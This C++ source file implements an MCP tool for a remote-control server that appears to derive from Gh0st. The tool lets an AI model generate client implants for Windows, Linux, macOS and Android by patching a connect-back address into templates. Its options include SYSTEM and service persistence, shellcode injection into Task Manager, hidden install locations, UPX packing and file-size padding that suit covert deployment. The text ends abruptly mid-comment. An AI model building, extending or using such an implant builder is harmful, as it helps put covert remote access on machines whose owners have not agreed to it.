// McpBuildClient.cpp : 「生成客户端」MCP 工具(build_client)的实现 // // 目标:让模型把「给我生成一个连 1.2.3.4:443 的 Linux 客户端」这类需求直接落成 // 服务端本机上的一个客户端文件。生成逻辑与「生成服务端」对话框 // (BuildDlg.cpp::CBuildDlg::OnBnClickedOk)保持同一套字节搬运路径,差别只在参数 // 来源与错误返回: // - 对话框:UI 参数 → 读资源 → CONNECT_ADDRESS 原地覆盖 → 锚 → 落盘 → 压缩/增肥 // - 本工具:JSON 参数 → 同上;不碰 ShellCode AES / 载荷伪装(那需要额外的载荷 // 文件与图片容器流程,属于对话框专属)。 // // 与对话框一致的几个关键点(改动时两边必须同步): // 1. 模板发布日期比主控新 → 拒绝生成(compareDates)。 // 2. 内嵌 TLS 锚写在 UPX / 增肥之前,跟 CONNECT_ADDRESS 走同一条搬运路径。 // 3. 只有 ghost / ghost 服务 / ghost SYSTEM / ServerDll.dll 模板里有锚块; // TestRun 的锚要生成进 ServerDll.dll,Linux/macOS/Android 模板没有锚块。 // 4. TinyRun / TestRun 注入模式不加密 CONNECT_ADDRESS(与对话框一致)。 // // 并发:生成过程串行化。ReleaseUPX() 会把 upx.exe 释放到服务端目录这个固定文件名, // 两个并发生成会互相踩;串行化同时也避免了同一输出文件的写竞争。 #include "stdafx.h" #include "McpBuildClient.h" #include "McpInternal.h" #include "McpServer.h" // McpServer().IsBuildEnabled() #include "BuildDlg.h" // ReadResource / ResFileName #include "EmbeddedAnchor.h" // EmbedTlsAnchorInto / TlsAnchorSummary #include "ServerTlsSession.h" // ServerTlsIdentity::IsReady #include "2015RemoteDlg.h" // CMy2015RemoteDlg::GetEffectiveMasterAddress #include "2015Remote.h" // THIS_CFG / GetMasterHash #include "resource.h" // IDR_* 客户端模板资源 #include #include #include #include #ifndef _WIN64 #ifdef _DEBUG #pragma comment(lib, "jsoncpp/jsoncppd.lib") #else #pragma comment(lib, "jsoncpp/jsoncpp.lib") #endif #else #ifdef _DEBUG #pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib") #else #pragma comment(lib, "jsoncpp/jsoncpp_x64.lib") #endif #endif // BuildDlg.cpp / 2015RemoteDlg.cpp 里既有的全局助手(没有公共头声明,按对话框同款方式 // 前置声明;定义所在的编译单元与本文件一起链接)。 int run_upx(const std::string& upx, const std::string& file, bool isCompress); BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset = 0); std::string GetMasterId(); std::string GetPwdHash(); namespace { using namespace McpInternal; // 生成过程串行化(见文件头「并发」)。 std::mutex g_buildMutex; // 客户端目标定义。资源/类型/启动方式与 BuildDlg.cpp 的 Index* 分支逐项对应; // 这里刻意不复用对话框的 Index 枚举(它定义在 .cpp 内部,且顺序只是 UI 下拉框顺序)。 struct TargetDef { const char* name; // MCP 参数值 const char* label; // 返回/错误信息里的中文名 const char* defaultFile; // 默认输出文件名 int clientType; // CLIENT_TYPE_* int startup; // Startup_* int resX64; // 64 位资源 ID int resX86; // 32 位资源 ID(posix 与 x64 相同) const char* resNameX64; // res 目录外部文件名(优先于内嵌资源) const char* resNameX86; bool archAware; // 是否有 x86/x64 两套模板 bool windows; // Windows 安装/加壳/增肥语义是否适用 bool anchorCapable; // 模板里是否有内嵌 TLS 锚块 }; const TargetDef kTargets[] = { // ---- Windows ---- { "testrun_dll", u8"TestRun - 磁盘DLL", "TestRun.exe", CLIENT_TYPE_DLL, Startup_DLL, IDR_TESTRUN_X64, IDR_TESTRUN_X86, ResFileName::TESTRUN_X64, ResFileName::TESTRUN_X86, true, true, false }, { "testrun_memdll", u8"TestRun - 内存DLL", "TestRun.exe", CLIENT_TYPE_MEMDLL, Startup_MEMDLL, IDR_TESTRUN_X64, IDR_TESTRUN_X86, ResFileName::TESTRUN_X64, ResFileName::TESTRUN_X86, true, true, false }, { "testrun_injsc", u8"TestRun - 注入任务管理器", "TestRun.exe", CLIENT_TYPE_MEMDLL, Startup_InjSC, IDR_TESTRUN_X64, IDR_TESTRUN_X86, ResFileName::TESTRUN_X64, ResFileName::TESTRUN_X86, true, true, false }, { "testrun_service", u8"TestRun - Windows 服务", "TestRun.exe", CLIENT_TYPE_MEMDLL, Startup_TestRunMsc, IDR_TESTRUN_X64, IDR_TESTRUN_X86, ResFileName::TESTRUN_X64, ResFileName::TESTRUN_X86, true, true, false }, { "testrun_system", "TestRun - SYSTEM", "TestRun.exe", CLIENT_TYPE_MEMDLL, Startup_TestRunSystem, IDR_TESTRUN_X64, IDR_TESTRUN_X86, ResFileName::TESTRUN_X64, ResFileName::TESTRUN_X86, true, true, false }, { "ghost", "ghost.exe", "ghost.exe", CLIENT_TYPE_ONE, Startup_DLL, IDR_GHOST_X64, IDR_GHOST_X86, ResFileName::GHOST_X64, ResFileName::GHOST_X86, true, true, true }, { "ghost_service", u8"ghost.exe - Windows 服务", "ghost.exe", CLIENT_TYPE_ONE, Startup_GhostMsc, IDR_GHOST_X64, IDR_GHOST_X86, ResFileName::GHOST_X64, ResFileName::GHOST_X86, true, true, true }, { "ghost_system", "ghost.exe - SYSTEM", "ghost.exe", CLIENT_TYPE_ONE, Startup_GhostSystem, IDR_GHOST_X64, IDR_GHOST_X86, ResFileName::GHOST_X64, ResFileName::GHOST_X86, true, true, true }, { "serverdll", "ServerDll.dll", "ServerDll.dll", CLIENT_TYPE_DLL, Startup_DLL, IDR_SERVERDLL_X64, IDR_SERVERDLL_X86, ResFileName::SERVERDLL_X64, ResFileName::SERVERDLL_X86, true, true, true }, { "tinyrun", "TinyRun.dll", "TinyRun.dll", CLIENT_TYPE_SHELLCODE, Startup_DLL, IDR_TINYRUN_X64, IDR_TINYRUN_X86, ResFileName::TINYRUN_X64, ResFileName::TINYRUN_X86, true, true, false }, // ---- posix ---- { "linux", "ghost - Linux x64", "ghost", CLIENT_TYPE_LINUX, Startup_DLL, IDR_LINUX_GHOST, IDR_LINUX_GHOST, ResFileName::GHOST_LINUX, ResFileName::GHOST_LINUX, false, false, false }, { "macos", "ghost - Apple MacOS", "ghost", CLIENT_TYPE_MACOS, Startup_DLL, IDR_MACOS_GHOST, IDR_MACOS_GHOST, ResFileName::GHOST_MACOS, ResFileName::GHOST_MACOS, false, false, false }, { "android", "ghost - Google Android", "ghost.apk", CLIENT_TYPE_ANDROID, Startup_DLL, IDR_ANDROID_GHOST, IDR_ANDROID_GHOST, ResFileName::GHOST_ANDROID, ResFileName::GHOST_ANDROID, false, false, false }, }; const TargetDef* FindTarget(const std::string& name) { for (const TargetDef& t : kTargets) if (name == t.name) return &t; return nullptr; } std::string Trim(const std::string& s) { const size_t b = s.find_first_not_of(" \t\r\n"); if (b == std::string::npos) return ""; const size_t e = s.find_last_not_of(" \t\r\n"); return s.substr(b, e - b + 1); } struct ProtoDef { const char* name; int value; }; const ProtoDef kProtos[] = { { "tcp", PROTO_TCP }, { "udp", PROTO_UDP }, { "http", PROTO_HTTP }, { "random", PROTO_RANDOM }, { "kcp", PROTO_KCP }, { "ws", PROTO_WS }, { "wss", PROTO_WSS }, }; // 协议名/数字 → protoType;-1 = 不认识。 int ParseProto(const std::string& raw) { const std::string s = ToLowerAscii(Trim(raw)); for (const ProtoDef& p : kProtos) if (s == p.name) return p.value; if (IsDigits(s)) { const int v = atoi(s.c_str()); for (const ProtoDef& p : kProtos) if (v == p.value) return v; return -1; } return -1; } const char* ProtoName(int proto) { for (const ProtoDef& p : kProtos) if (proto == p.value) return p.name; return "tcp"; } // install_location → installFlag(顺序与对话框 IDC_COMBO_INSTALL_LOC 的 InsertString 一致)。 struct LocDef { const char* name; int flag; }; const LocDef kLocations[] = { { "programdata", 0 }, { "programfiles", 1 }, { "systemroot", 2 }, { "appdata", 3 }, { "localappdata", 4 }, }; int ParseLocation(const std::string& raw) { const std::string s = ToLowerAscii(Trim(raw)); for (const LocDef& l : kLocations) if (s == l.name) return l.flag; if (IsDigits(s)) { const int v = atoi(s.c_str()); if (v >= 0 && v <= 4) return v; } return -1; } bool GetBoolArg(const Json::Value& args, const char* key, bool defVal) { if (!args.isMember(key)) return defVal; const Json::Value& v = args[key]; if (v.isBool()) return v.asBool(); if (v.isNumeric()) return v.asInt() != 0; if (v.isString()) { const std::string s = ToLowerAscii(Trim(v.asString())); if (s == "true" || s == "1" || s == "yes") return true; if (s == "false" || s == "0" || s == "no") return false; } return defVal; } // UTF-8 → 服务端 ANSI(CP_ACP)。生成端接下来全用 ANSI 路径/结构体,无法表示的字符 // 必须显式拒绝,不能用 '?' 顶替(会写出一个路径或分组名都不对的客户端)。 bool ToAnsiStrict(const std::string& utf8, const char* field, std::string& out, std::string& err) { if (!Utf8ToCpExact(utf8, CP_ACP, out)) { err = std::string(field) + " contains characters that cannot be represented in the " "server ANSI code page"; return false; } return true; } // Windows 文件名合法性:非法字符、保留名、不能以空格/点结尾(与 BuildDlg 的 // IsValidFileName 同口径,输出文件名与安装名共用)。 bool IsValidWinName(const std::string& name) { if (name.empty()) return false; if (name.find_first_of("\\/:*?\"<>|") != std::string::npos) return false; for (unsigned char c : name) if (c < 0x20) return false; // 控制字符(含制表/换行)不能进文件名 std::string upper = name; for (char& c : upper) if (c >= 'a' && c <= 'z') c = (char)(c - 'a' + 'A'); const std::string base = upper.substr(0, upper.find('.')); static const char* kReserved[] = { "CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9", }; for (const char* r : kReserved) if (base == r) return false; const char last = name.back(); return last != ' ' && last != '.'; } // 递归建目录;已存在视为成功。 bool EnsureDirectory(const std::string& path) { if (path.empty()) return false; const DWORD attr = GetFileAttributesA(path.c_str()); if (attr != INVALID_FILE_ATTRIBUTES) return (attr & FILE_ATTRIBUTE_DIRECTORY) != 0; std::string parent = path; while (!parent.empty() && parent.back() != '\\' && parent.back() != '/') parent.pop_back(); while (!parent.empty() && (parent.back() == '\\' || parent.back() == '/')) parent.pop_back(); if (!parent.empty() && !EnsureDirectory(parent)) return false; if (CreateDirectoryA(path.c_str(), NULL)) return true; return GetLastError() == ERROR_ALREADY_EXISTS; } std::string ExeDirectory() { char exe[MAX_PATH] = { 0 }; GetModuleFileNameA(NULL, exe, MAX_PATH); std::string dir(exe); const size_t pos = dir.find_last_of("\\/"); return pos == std::string::npos ? std::string(".") : dir.substr(0, pos); } std::string AbsolutePath(const std::string& path) { char full[MAX_PATH * 2] = { 0 }; DWORD n = GetFullPathNameA(path.c_str(), _countof(full), full, NULL); return (n > 0 && n < _countof(full)) ? std::string(full) : path; } bool SamePathCI(const std::string& a, const std::string& b) { return _stricmp(a.c_str(), b.c_str()) == 0; } // 把 upx.exe 释放成一次性文件名:对话框的 ReleaseUPX() 固定写 upx.exe,用户同时从 // 界面生成时两边会抢同一个文件;这里用 PID+tick 避开(MCP 调用之间由 g_buildMutex 串行)。 std::string ReleaseUpxUnique() { char name[64] = { 0 }; _snprintf_s(name, sizeof(name), _TRUNCATE, "upx_mcp_%lu_%llu.exe", GetCurrentProcessId(), (unsigned long long)GetTickCount64()); return ReleaseEXE(IDR_BINARY_UPX, name, ResFileName::UPX_EXE); } // 拒绝覆盖主控自身的程序/配置:output_name 只排除路径分隔符,挡不住 "Yama_x64d.exe" // 或 "settings.ini"。误写这两个文件会让主控无法启动或配置丢失,代价远大于一次生成失败。 bool IsProtectedServerFile(const std::string& path) { char exe[MAX_PATH] = { 0 }; if (GetModuleFileNameA(NULL, exe, MAX_PATH) > 0 && SamePathCI(path, exe)) return true; const std::string dir = ExeDirectory(); const size_t sep = path.find_last_of("\\/"); const std::string parent = sep == std::string::npos ? std::string(".") : path.substr(0, sep); if (!SamePathCI(parent, dir)) return false; std::string base = (sep == std::string::npos) ? path : path.substr(sep + 1); base = ToLowerAscii(base); if (base == "settings.ini" || base == "upx.exe") return true; // 主控的其它构建产物(Yama_x64.exe / Yama_x86d.exe / Yama_x64.exe 等)。 if (base.size() > 4 && base.compare(0, 4, "yama") == 0 && base.compare(base.size() - 4, 4, ".exe") == 0) return true; return false; } uint64_t FileSizeOf(const std::string& path) { WIN32_FILE_ATTRIBUTE_DATA fad = { 0 }; if (!GetFileAttributesExA(path.c_str(), GetFileExInfoStandard, &fad)) return 0; return ((uint64_t)fad.nFileSizeHigh << 32) | fad.nFileSizeLow; } Json::Value StrProp(const char* desc) { Json::Value v(Json::objectValue); v["type"] = "string"; if (desc && *desc) v["description"] = desc; return v; } Json::Value IntProp(const char* desc, int minVal, int maxVal) { Json::Value v(Json::objectValue); v["type"] = "integer"; if (desc && *desc) v["description"] = desc; v["minimum"] = minVal; v["maximum"] = maxVal; return v; } Json::Value UIntProp(const char* desc) { Json::Value v(Json::objectValue); v["type"] = "integer"; v["minimum"] = 0; if (desc && *desc) v["description"] = desc; return v; } Json::Value BoolProp(const char* desc) { Json::Value v(Json::objectValue); v["type"] = "boolean"; if (desc && *desc) v["description"] = desc; return v; } Json::Value EnumProp(const char* desc, std::initializer_list values) { Json::Value v = StrProp(desc); Json::Value arr(Json::arrayValue); for (const char* s : values) arr.append(s); v["enum"] = arr; return v; } // target 枚举按表生成,避免手写清单与实现漂移。 Json::Value BuildBuildClientInputSchema() { Json::Value props(Json::objectValue); Json::Value targets(Json::arrayValue); for (const TargetDef& t : kTargets) targets.append(t.name); Json::Value targetProp = StrProp( u8"生成目标:ghost(Windows 单文件 EXE)、ghost_service(Windows 服务)、" u8"ghost_system(SYSTEM 权限)、testrun_dll / testrun_memdll / testrun_injsc / " u8"testrun_service / testrun_system(TestRun 加载器)、serverdll、tinyrun、" u8"linux、macos、android。前十个是 Windows 目标;linux/macos/android 为固定架构的" u8"预编译 template,arch=x86 与 Windows 专属的 compress/padding 会被拒绝," u8"安装目录相关参数不参与生成。"); targetProp["enum"] = targets; props["target"] = targetProp; props["arch"] = EnumProp(u8"Windows 目标架构,默认 x64;x86 对 testrun_injsc 与 " u8"linux/macos/android 无效(会被拒绝)。", { "x64", "x86" }); props["host"] = StrProp( u8"主控地址,可写分号分隔的多个地址(客户端随机选择)。省略时使用服务端当前" u8"有效主控地址(含上级 FRP 配置);两者都为空则报错。最长 99 字符。"); props["port"] = IntProp(u8"主控端口,省略时使用服务端当前有效端口。", 1, 65535); props["protocol"] = EnumProp( u8"传输协议,默认 tcp。ws/wss 需反向代理(如 nginx 443)转发到主控端口;" u8"kcp 需要主控 UDP 协议参数为 1。", { "tcp", "udp", "http", "random", "kcp", "ws", "wss" }); props["header_enc"] = EnumProp(u8"包头加密方式,默认 hell。", { "shine", "hell" }); props["running"] = EnumProp(u8"上线方式,默认 random(随机上线)。", { "random", "parallel" }); props["group"] = StrProp(u8"分组名称,最长 23 字节(ANSI)。省略时与对话框一致使用 default。"); props["install_location"] = EnumProp( u8"Windows 安装位置,默认 programdata。仅 Windows 目标有效。", { "programdata", "programfiles", "systemroot", "appdata", "localappdata" }); props["install_dir"] = StrProp(u8"Windows 安装子目录名,最长 31 字节,不能含 \\ / : * ? \" < > |。"); props["install_name"] = StrProp(u8"Windows 安装程序名,最长 31 字节,不能含 \\ / : * ? \" < > |。"); props["run_as_admin"] = BoolProp( u8"生成的 Windows 客户端是否请求管理员权限运行,默认 false;安装 Windows 服务时通常需要 true。"); props["encrypt_address"] = BoolProp( u8"是否加密写进客户端的 CONNECT_ADDRESS(地址/端口),默认 true。" u8"testrun_injsc 与 tinyrun 与对话框一致,不加密。"); props["compress"] = EnumProp( u8"压缩方式,默认 none;upx 仅 Windows 目标支持。ShellCode AES / PE→ShellCode 等" u8"需要载荷文件,只能在生成对话框里操作。", { "none", "upx" }); props["tls_anchor"] = BoolProp( u8"是否把服务端当前 TLS 证书作为信任锚写进客户端(首连即 TLS),默认 true。" u8"仅 ghost / ghost_service / ghost_system / serverdll 模板有锚块,且协议为 tcp/http;" u8"其余目标会如实标注为未内嵌,不视为失败。"); props["padding_mb"] = IntProp(u8"程序增肥的追加字节数(MB),默认 0;仅 Windows 目标支持。", 0, 256); props["output_dir"] = StrProp( u8"输出目录(服务端本机路径),默认主控程序所在目录;不存在会自动创建。"); props["output_name"] = StrProp( u8"输出文件名(仅文件名,不含目录),默认按 target 取 ghost.exe / TestRun.exe / " u8"ServerDll.dll / TinyRun.dll / ghost / ghost.apk。"); props["overwrite"] = BoolProp( u8"目标文件已存在时是否覆盖,默认 false。为 false 时返回 -32012," u8"确认覆盖后再传 true 重试。"); Json::Value schema(Json::objectValue); schema["type"] = "object"; schema["properties"] = props; Json::Value required(Json::arrayValue); required.append("target"); schema["required"] = required; return schema; } Json::Value BuildBuildClientOutputSchema() { Json::Value props(Json::objectValue); props["ok"] = BoolProp(u8"是否成功;失败时本工具返回 JSON-RPC error。"); props["path"] = StrProp(u8"生成文件的绝对路径(服务端本机)。"); props["name"] = StrProp(u8"输出文件名。"); props["bytes"] = UIntProp(u8"最终文件字节数。"); props["target"] = StrProp(u8"生成目标(与入参 target 一致)。"); props["targetLabel"] = StrProp(u8"生成目标的中文名,如「ghost.exe - Windows 服务」。"); props["arch"] = StrProp(u8"实际架构:x64 / x86;posix 目标为 native。"); props["clientType"] = StrProp(u8"客户端类型:EXE / DLL / MDLL / SC / LNX / MAC / APK。"); props["host"] = StrProp(u8"写入客户端的主控地址。"); props["port"] = IntProp(u8"写入客户端的主控端口。", 1, 65535); props["protocol"] = StrProp(u8"写入客户端的传输协议。"); props["tlsAnchor"] = EnumProp( u8"内嵌 TLS 信任锚状态:embedded(已内嵌)/ disabled(未请求)/ not_applicable" u8"(该目标模板不含客户端代码)/ unsupported_platform(Linux/macOS/Android 模板" u8"没有锚块)/ skipped_protocol(该协议不走设备端口 TLS)/ unavailable(服务端未启用" u8"TLS)/ no_block(模板里没有锚块,已按普通客户端生成)。", { "embedded", "disabled", "not_applicable", "unsupported_platform", "skipped_protocol", "unavailable", "no_block" }); props["tlsAnchorSummary"] = StrProp(u8"内嵌成功时的证书摘要(如 builtin 2036-11-01 sha1:...)。"); props["overwritten"] = BoolProp(u8"是否覆盖了已存在的同名文件。"); Json::Value tips(Json::objectValue); tips["type"] = "array"; tips["description"] = u8"生成后需要注意的事项(KCP/WS 端口、macOS/Android 重签、锚未内嵌等)。"; Json::Value tipItem(Json::objectValue); tipItem["type"] = "string"; tips["items"] = tipItem; props["tips"] = tips; Json::Value schema(Json::objectValue); schema["type"] = "object"; schema["properties"] = props; return schema; } // 从 JSON 参数读字符串;没有该键时返回空串。 std::string ArgStr(const Json::Value& args, const char* key) { return GetStringArg(args, key); } // 枚举类参数:模型偶尔会把协议写成数字(如 5 表示 ws),这里一并接受; // 其他非字符串/非数字类型返回空串,由调用方的默认值或校验处理。 std::string ArgStrOrNum(const Json::Value& args, const char* key) { if (!args.isMember(key)) return ""; const Json::Value& v = args[key]; if (v.isString()) return v.asString(); if (v.isNumeric()) return v.asString(); return ""; } // 生成客户端主流程。成功返回 true 并填 out;失败返回 false 并填 err/errCode。 bool GenerateClient(const Json::Value& args, Json::Value& out, int& errCode, std::string& err) { // ---- target ---- if (args.isMember("target") && !args["target"].isString()) { errCode = -32602; err = "target must be a string"; return false; } const std::string targetName = ToLowerAscii(Trim(ArgStr(args, "target"))); if (targetName.empty()) { errCode = -32602; err = "Missing required parameter: target"; return false; } const TargetDef* def = FindTarget(targetName); if (!def) { errCode = -32602; err = "Unknown target: " + targetName + ". Valid values: "; for (const TargetDef& t : kTargets) err += std::string(t.name) + " "; if (!err.empty() && err.back() == ' ') err.pop_back(); return false; } // ---- arch ---- std::string arch = ToLowerAscii(Trim(ArgStrOrNum(args, "arch"))); if (arch.empty()) arch = "x64"; if (arch != "x64" && arch != "x86") { errCode = -32602; err = "arch must be x64 or x86"; return false; } if (!def->archAware && arch == "x86") { errCode = -32602; err = std::string(def->name) + " has a fixed-architecture template; arch=x86 is not supported"; return false; } if (def->name == std::string("testrun_injsc") && arch == "x86") { errCode = -32602; err = "testrun_injsc injects shellcode into 64-bit processes; arch=x86 is not supported"; return false; } const bool is64 = (arch != "x86"); // ---- host / port ---- if (args.isMember("host") && !args["host"].isString()) { errCode = -32602; err = "host must be a string"; return false; } std::string host = Trim(ArgStr(args, "host")); int port = 0; bool hasPort = GetIntArg(args, "port", port); // 显式给了 port 但解析不出来("443 " / "443/tcp" 之类)时不能静默回落到默认端口: // 那会生成一个连错端口的客户端,而结果里报的又是回落值,调用方无从发现。 if (args.isMember("port") && !hasPort) { errCode = -32602; err = "port must be an integer"; return false; } if (host.empty() || !hasPort) { std::string effIp; int effPort = 0; CMy2015RemoteDlg::GetEffectiveMasterAddress(effIp, effPort); if (host.empty()) host = effIp; if (!hasPort) port = effPort; } if (host.empty()) { errCode = -32602; err = "host is required (the server has no effective master address configured)"; return false; } if (port <= 0 || port > 65535) { errCode = -32602; err = "port must be 1-65535"; return false; } if (host.size() > 99) { errCode = -32602; err = "host is too long (max 99 bytes)"; return false; } // ---- protocol / header enc / running ---- int proto = PROTO_TCP; const std::string protoRaw = ArgStrOrNum(args, "protocol"); if (!protoRaw.empty()) { proto = ParseProto(protoRaw); if (proto < 0) { errCode = -32602; err = "Unknown protocol: " + protoRaw + ". Valid values: tcp udp http random kcp ws wss"; return false; } } std::string encName = ToLowerAscii(Trim(ArgStrOrNum(args, "header_enc"))); if (encName.empty()) encName = "hell"; int headerEnc = PROTOCOL_HELL; if (encName == "shine") headerEnc = PROTOCOL_SHINE; else if (encName != "hell") { errCode = -32602; err = "header_enc must be shine or hell"; return false; } std::string runName = ToLowerAscii(Trim(ArgStrOrNum(args, "running"))); if (runName.empty()) runName = "random"; int running = RUNNING_RANDOM; if (runName == "parallel") running = RUNNING_PARALLEL; else if (runName != "random") { errCode = -32602; err = "running must be random or parallel"; return false; } // ---- Windows-only 参数在非 Windows 目标上的处理 ---- const std::string compressRaw = ToLowerAscii(Trim(ArgStrOrNum(args, "compress"))); const std::string compress = compressRaw.empty() ? "none" : compressRaw; if (compress != "none" && compress != "upx") { errCode = -32602; err = "compress must be none or upx (other modes need a payload file and are only " "available in the build dialog)"; return false; } if (!def->windows && compress != "none") { errCode = -32602; err = std::string("compress is not supported for ") + def->name; return false; } int paddingMb = 0; if (args.isMember("padding_mb") && !GetIntArg(args, "padding_mb", paddingMb)) { errCode = -32602; err = "padding_mb must be an integer"; return false; } if (paddingMb < 0 || paddingMb > 256) { errCode = -32602; err = "padding_mb must be 0-256"; return false; } if (!def->windows && paddingMb > 0) { errCode = -32602; err = std::string("padding_mb is not supported for ") + def->name; return false; } int installFlag = 0; const std::string locRaw = ArgStrOrNum(args, "install_location"); if (!locRaw.empty()) { installFlag = ParseLocation(locRaw); if (installFlag < 0) { errCode = -32602; err = "Unknown install_location: " + locRaw + ". Valid values: programdata programfiles systemroot appdata localappdata"; return false; } } // ---- 字符串字段:UTF-8 → ANSI,并做长度/合法性校验 ---- std::string groupAnsi, dirAnsi, nameAnsi, hostAnsi; if (!ToAnsiStrict(host, "host", hostAnsi, err)) { errCode = -32602; return false; } if (hostAnsi.size() > 99) { errCode = -32602; err = "host is too long (max 99 bytes in ANSI)"; return false; } // 与对话框一致:分组默认 "default"(对话框里该编辑框就是预填的 default)。 std::string group = ArgStr(args, "group"); if (group.empty()) group = "default"; if (!ToAnsiStrict(group, "group", groupAnsi, err)) { errCode = -32602; return false; } if (groupAnsi.size() > 23) { errCode = -32602; err = "group is too long (max 23 bytes in ANSI)"; return false; } const std::string installDir = Trim(ArgStr(args, "install_dir")); if (!installDir.empty()) { if (!ToAnsiStrict(installDir, "install_dir", dirAnsi, err)) { errCode = -32602; return false; } if (dirAnsi.size() > 31) { errCode = -32602; err = "install_dir is too long (max 31 bytes in ANSI)"; return false; } if (!IsValidWinName(dirAnsi)) { errCode = -32602; err = "install_dir is not a valid Windows file name"; return false; } } const std::string installName = Trim(ArgStr(args, "install_name")); if (!installName.empty()) { if (!ToAnsiStrict(installName, "install_name", nameAnsi, err)) { errCode = -32602; return false; } if (nameAnsi.size() > 31) { errCode = -32602; err = "install_name is too long (max 31 bytes in ANSI)"; return false; } if (!IsValidWinName(nameAnsi)) { errCode = -32602; err = "install_name is not a valid Windows file name"; return false; } } // ---- 输出路径 ---- std::string outDir = Trim(ArgStr(args, "output_dir")); if (outDir.empty()) outDir = ExeDirectory(); else { std::string ansiDir; if (!ToAnsiStrict(outDir, "output_dir", ansiDir, err)) { errCode = -32602; return false; } outDir = ansiDir; } outDir = AbsolutePath(outDir); std::string outName = Trim(ArgStr(args, "output_name")); if (outName.empty()) outName = def->defaultFile; else { std::string ansiName; if (!ToAnsiStrict(outName, "output_name", ansiName, err)) { errCode = -32602; return false; } outName = ansiName; if (!IsValidWinName(outName)) { errCode = -32602; err = "output_name is not a valid file name (no directory separators)"; return false; } } std::string outPath = outDir; if (!outPath.empty() && outPath.back() != '\\' && outPath.back() != '/') outPath += "\\"; outPath += outName; if (IsProtectedServerFile(outPath)) { errCode = -32012; err = "Refusing to overwrite a server program/config file: " + outPath; return false; } const bool overwrite = GetBoolArg(args, "overwrite", false); const DWORD existing = GetFileAttributesA(outPath.c_str()); if (existing != INVALID_FILE_ATTRIBUTES) { if (existing & FILE_ATTRIBUTE_DIRECTORY) { errCode = -32012; err = "Output path is a directory: " + outPath; return false; } if (!overwrite) { errCode = -32012; err = "File already exists: " + outPath + ". Pass overwrite=true to replace it."; return false; } } // ---- 读模板 ---- DWORD dwSize = 0; LPBYTE buf = ReadResource(is64 ? def->resX64 : def->resX86, dwSize, is64 ? def->resNameX64 : def->resNameX86); if (!buf || dwSize == 0) { errCode = -32001; err = "Client template is missing from res directory and embedded resources: "; err += is64 ? def->resNameX64 : def->resNameX86; return false; } struct BufferGuard { LPBYTE p; ~BufferGuard() { SAFE_DELETE_ARRAY(p); } } guard{ buf }; // ---- CONNECT_ADDRESS ---- CONNECT_ADDRESS addr = {}; strcpy_s(addr.szFlag, FLAG_FINDEN); if (!addr.SetServer(hostAnsi.c_str(), port)) { errCode = -32602; err = "Invalid host/port"; return false; } addr.iType = def->clientType; addr.iStartup = def->startup; addr.iHeaderEnc = headerEnc; addr.protoType = (char)proto; addr.runningType = (char)running; addr.installFlag = installFlag; addr.runasAdmin = GetBoolArg(args, "run_as_admin", false) ? 1 : 0; strcpy_s(addr.szBuildDate, DLL_VERSION); addr.SetAdminId(GetMasterHash().c_str()); const std::string pwd = GetPwdHash(); memcpy(addr.pwdHash, pwd.data(), pwd.size() < sizeof(addr.pwdHash) ? pwd.size() : sizeof(addr.pwdHash)); if (!groupAnsi.empty()) memcpy(addr.szGroupName, groupAnsi.data(), groupAnsi.size()); if (!dirAnsi.empty()) memcpy(addr.installDir, dirAnsi.data(), dirAnsi.size()); if (!nameAnsi.empty()) memcpy(addr.installName, nameAnsi.data(), nameAnsi.size()); // 与对话框一致:注入类与 TinyRun 不加密 CONNECT_ADDRESS。 const bool encryptAddr = GetBoolArg(args, "encrypt_address", true); if (encryptAddr && def->startup != Startup_InjSC && def->clientType != CLIENT_TYPE_SHELLCODE) addr.Encrypt(); // ---- 扫描并原地覆盖 ---- const CONNECT_ADDRESS patched = addr.ModifyFlag(GetMasterId().c_str()); const int flagLen = addr.FlagLen(); char* ptr = (char*)buf; int remain = (int)dwSize; bool found = false; while (remain > 0) { const int off = MemoryFind(ptr, (char*)addr.Flag(), remain, flagLen); if (off < 0) break; if (remain - off < (int)sizeof(CONNECT_ADDRESS)) break; CONNECT_ADDRESS* dst = (CONNECT_ADDRESS*)(ptr + off); // 模板发布日期比主控新 → 与对话框一样直接拒绝(否则新客户端会被老配置覆盖)。 const int cmp = strlen(dst->szBuildDate) ? compareDates(dst->szBuildDate, addr.szBuildDate) : -1; if (cmp > 0) { errCode = -32001; err = "Client template is newer than this server (" + std::string(dst->szBuildDate) + " > " + DLL_VERSION + "): " + outName; return false; } if (cmp != -2) { *dst = patched; found = true; } ptr += off + sizeof(CONNECT_ADDRESS); remain -= off + sizeof(CONNECT_ADDRESS); } if (!found) { errCode = -32001; err = "CONNECT_ADDRESS not found in client template: " + outName; return false; } // ---- 内嵌 TLS 信任锚(必须在 UPX / 增肥之前,见文件头)---- std::string anchorStatus = "disabled"; std::string anchorSummary; if (GetBoolArg(args, "tls_anchor", true)) { if (!def->anchorCapable) { anchorStatus = def->windows ? "not_applicable" : "unsupported_platform"; } else if (proto != PROTO_TCP && proto != PROTO_HTTP) { anchorStatus = "skipped_protocol"; } else if (!ServerTlsIdentity::IsReady()) { anchorStatus = "unavailable"; } else { DWORD pemLen = 0; std::string anchorErr; const EmbedResult embed = EmbedTlsAnchorInto(buf, dwSize, hostAnsi, pemLen, anchorErr); if (embed == EmbedResult::Ok) { anchorStatus = "embedded"; TlsAnchorSummary(anchorSummary); } else if (embed == EmbedResult::NoBlock) { // 模板没有锚块(例如资源没重编):与对话框一样按普通客户端生成。 anchorStatus = "no_block"; } else { errCode = -32001; err = "Failed to embed TLS trust anchor: " + anchorErr; return false; } } } // ---- 落盘(目录到这一步才创建:参数/模板/锚都过了再产生副作用)---- if (!EnsureDirectory(outDir)) { errCode = -32602; err = "Cannot create output_dir: " + outDir; return false; } if (!WriteBinaryToFile(outPath.c_str(), (const char*)buf, dwSize)) { errCode = -32001; err = "Failed to write output file: " + outPath; return false; } // ---- 可选 UPX ---- if (compress == "upx") { const std::string upx = ReleaseUpxUnique(); if (upx.empty()) { errCode = -32001; err = "Failed to release upx.exe"; return false; } const int rc = run_upx(upx, outPath, true); DeleteFileA(upx.c_str()); // UPX 返回码:0=成功,2=警告(如文件已压缩)。 if (rc != 0 && rc != 2) { errCode = -32001; err = "UPX failed with exit code " + std::to_string(rc) + "; the uncompressed client was written and left at: " + outPath; return false; } } // ---- 